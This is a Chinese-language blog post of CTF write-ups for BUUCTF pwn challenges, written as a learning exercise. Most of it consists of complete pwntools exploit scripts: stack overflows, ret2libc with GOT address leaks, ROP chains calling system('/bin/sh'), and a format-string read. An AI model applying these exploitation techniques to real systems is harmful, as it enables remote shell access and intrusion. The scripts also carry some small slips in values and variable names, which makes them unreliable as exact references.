哈哈哈,我又來刷題了,看了下BUUCTF上面的pwn題還真多。。。
test_your_nc
ida查看,發現直接執行system,所以,直接交互就可以
//寫下簡單的腳本
from pwn import *
p = remote('node3.buuoj.cn',28213)
p.interactive()
rip
一道簡單的棧溢出,但是遠程有點問題?。。。所以,,,exp寫的怪怪的。。。
沒啥好說的
覆蓋量爲F+8=23
找system函數的時候,如果有參數的話,應該是去text段找,plt表裏面的函數參數你懂的。。。還沒傳進來呢。。
由於遠程有點問題,所以,emmm,一個可以得到flag 的方法是,先pop eip,然後再去執行system函數,,,不知道爲什麼這樣好使。。正常來說,直接覆蓋返回地址就好了,不要這樣加一個pop eip
//exp:
from pwn import *
#context.log_level='debug'
p = remote('node3.buuoj.cn',27075)
sys_addr=0x0401186
retn_addr=0x0401185
#p.recvuntil("input")
payload='a'*23+p64(retn_addr)+p64(sys_addr)
p.sendline(payload)
p.interactive()
warmup_csaw_2016
哈哈哈,自己解出來題目的感覺真好。。。差點去看writeup了。。。懶。
一樣一樣啦,不過沒有開啓nx(注意,接下來會用到),nx是堆棧不可執行
因爲沒有開啓nx,所以棧上的數據我們是可以用的
程序很簡單,覆蓋量是0x40+0x8=0x48
看一下text段,發現有system函數,而且,參數看着不錯??emm我直接傳入這個函數地址了,但是沒有用,應該這個參數沒有用。。。我記的有的可以?所以,那就自己傳參數唄,,,
傳入棧的地址是0x40
ok,可以寫exp了
from pwn import *
p=remote('node3.buuoj.cn',28749)
binsh_addr=0x40
sys_addr=0x40060D
p.recvuntil(">")
payload='/bin/sh'
payload=payload.ljust(0x48,'a')
payload+=p64(sys_addr)
p.sendline(payload)
p.interactive()
pwn1_sctf_2016
早上起來做了一道,emmm,題目簡單,只是服務器還是不會發信息,直接發過去就好
32位的程序
我們需要覆蓋的量是0x3c,但是我們只能輸入32(0x20)的數據
但是程序可以將I轉換成三個符號的'you',所以,就可以夠用了
0x3c/3=20,也就是20個‘I’,然後在覆蓋ebp,四個a,再覆蓋返回地址
所以就可以寫exp了
from pwn import *
context.log_level='debug'
p=remote('node3.buuoj.cn',25555)
flag_addr=0x08048F0D
payload="I"*20+'aaaa'+p32(flag_addr)
#p.recvuntil("yourself:")
p.sendline(payload)
p.interactive()
ciscn_2019_n_1
64位的程序
很顯然,我們只需要讓v2等於11.825就可以
我們能控制的是v1,位置在rbp-30h
而v2的位置在rbp-4h
所以覆蓋量爲0x30-0x4=0x2c
有一個問題是,浮點數不能直接轉換成字符串str(11.28125),需要找到11.28125在程序中的表示
這裏也有一個在線工具:http://lostphp.com/hexconvert/
然後就直接把0x41348000再發過去就行了
exp如下:
from pwn import *
context.log_level='debug'
p=remote('node3.buuoj.cn',29320)
p.recvuntil('number')
payload='a'*0x2c+p64(0x41348000)
p.sendline(payload)
p.interactive()
[OGeek2019]babyrop
32位程序
因爲strlen遇到‘\x00’就會停止,所以我們輸入的字符串以‘\x00’開頭的話,那麼v1=0,strncmp比較的就相等,爲0,跳過了驗證
buf的地址在-2c,返回值v5在-25h,所以,兩者相差,我們只要覆蓋7個地址,然後在最後一個覆蓋很大,比如說‘\xff’就可以
所以,我們還需要上一個函數的返回值很大
這裏進行棧溢出,因爲程序沒有後門函數,所以需要泄漏函數地址,計算偏移
泄漏write地址
‘a’*0xe7+'aaaa'+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
偏移量 ebp 返回地址 write函數的返回地址 1表示輸出 輸出的內容 輸出的長度
得到write函數地址:
write_addr=u32(p.recv(4))
計算基地址:libcbase=write_addr-libc.symbols['write']
計算出system和binsh的偏移
libc文件也是可執行文件,可以在ida裏面運行
計算出system和binsh的地址
system_addr=system_base+libcbase
binsh_addr=binsh_base+libcbase
因爲剛剛write函數的返回地址是main函數,會在執行一次,第一次還是發‘\x00’和’\xff‘
第二次,就可以偏移+ebp+system+system返回地址+參數得到flag了
exp如下:
#coding=utf-8
from pwn import *
context.log_level='debug'
p=remote('node3.buuoj.cn',29248)
elf=ELF('./babyrop')
libc=ELF('./libc-2.23.so')
system_base=0x0003A940
binsh_base=0x015902b
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=0x08048825
payload1='\x00'+'\xff'*7
p.sendline(payload1)
p.recvuntil("Correct\n")
payload2='a'*0xe7+'bbbb'+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload2)
write_addr=u32(p.recv(4))
libcbase=write_addr-libc.symbols['write']
sys_addr=libcbase+system_base
binsh_addr=libcbase+binsh_base
p.sendline(payload1)
p.recvuntil("Correct\n")
payload2='a'*0xe7+'bbbb'+p32(sys_addr)+p32(0x0)+p32(binsh_addr)
p.sendline(payload2)
p.interactive()
ciscn_2019_c_1
64位程序
一開始看到表單,,,嚇死,,,結果發現只有功能一能用,,,
這裏,會對我們輸入的字符串進行加密,但是我們程序會利用兩次,一次泄漏一個函數地址,另一個getshell,所以兩次異或數據變回原數據,所以其實不用管,,,
這裏,我們需要覆蓋的長度爲0x50+0x8
接收到字符串,我們可以先打印出來看一下
所以我們可以接收直到@,,,
接下來,就可以得到puts的地址,然後計算出偏移,找到system和binsh的地址,第二次就可以得到flag
exp
# encoding=utf-8
from pwn import *
sh = remote('node3.buuoj.cn',27706)
elf = ELF('./ciscn_2019_c_1')
start = elf.sym['main']
rdi_addr = 0x0000000000400c83
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
gets_got = elf.got['gets']
sh.sendlineafter('choice!\n', '1')
payload1 = 'a' * 88 + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(start)
sh.sendline(payload1)
sh.recvuntil('@')
sh.recvline()
puts_leak = u64(sh.recvline()[:-1].ljust(8, '\0'))
log.success('puts==>'+hex(puts_leak))
libc = ELF('./libc/libc-2.27.so')
libc_base = puts_leak - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + 0x001b3e9a
sh.sendlineafter('choice!\n', '1')
payload2 = 'a' * 88 + p64(rdi_addr) + p64(bin_sh_addr) +p64(0x0400C1C)+ p64(sys_addr)
sh.sendline(payload2)
sh.interactive()
ciscn_2019_en_2
和ciscn_2019_c_1這道題本質是一樣的,直接把端口改一下,flag就可以出來,,
get_started_3dsctf_2016
這道題,看着挺簡單,,,稍後來寫具體的writeup,
參考博客:
(1)https://www.cnblogs.com/bhxdn/p/12679290.html
(2)https://www.b1ndsec.cn/?p=371
有個地方不太懂得是,貌似都沒又覆蓋ebp?
靜態鏈接,但是nx堆棧不可執行,但是靜態鏈接裏面有一個函數可以修改內存權限
學到的一個函數mprotect
函數原型:int mprotect(void * addr,size_t len,int prot);
addr 內存起始地址 ;
len 修改內存的長度
prot內存的權限
readelf -S get_started_3dsctf_2016 :可以查看各個段的基地址
【接下來,,,可能有很多不會,,就不放exp,主要是自己的一些學習心得】
[第五空間2019 決賽]PWN5
這道題和HITCON-Training lab7一模一樣,,,只是unk_804C044地址不一樣
https://blog.csdn.net/qq_43935969/article/details/105135361
emmm,還有就是buuoj沒有發字符,,,不用recvuntil了,直接sendline就行
#coding=utf-8
from pwn import *
p=remote('node3.buuoj.cn',27453)
#p=process('./crack')
password_addr=0x0804C044
#p.recvuntil("name ?")
payload=p32(password_addr)+"#"+"%10$s"+"#"#'#'是必須的,可能需要停頓一下?可以用別的字符
p.sendline(payload)
p.recvuntil("#")
io=p.recvuntil("#")
password=u32(io[:4])
#p.recvuntil("password :")
p.sendline(str(password))
p.interactive()
root@kali:~/buuc
還可以參考這篇:https://www.b1ndsec.cn/?p=368
它是字符串讀入,直接把那個給改了
ciscn_2019_n_8
這道題,簡單,不過自己十進制和十六進制有點混亂
只要將v[13]設置爲17就行
這裏17是十進制的
#coding=utf-8
from pwn import *
connect = 1#連接本地
fileName='ciscn_2019_n_8'#文件名
port='node3.buuoj.cn'#端口
ip=25793#IP地址
if connect:
p=remote(port,ip)
else :
p=process("./"+fileName+"")
p.recvuntil("?")
p.sendline('aaaa'*13+p32(0x11))
p.interactive()
【這篇博客有點長了,,,,前12道題,,,接下來重新開一篇新的】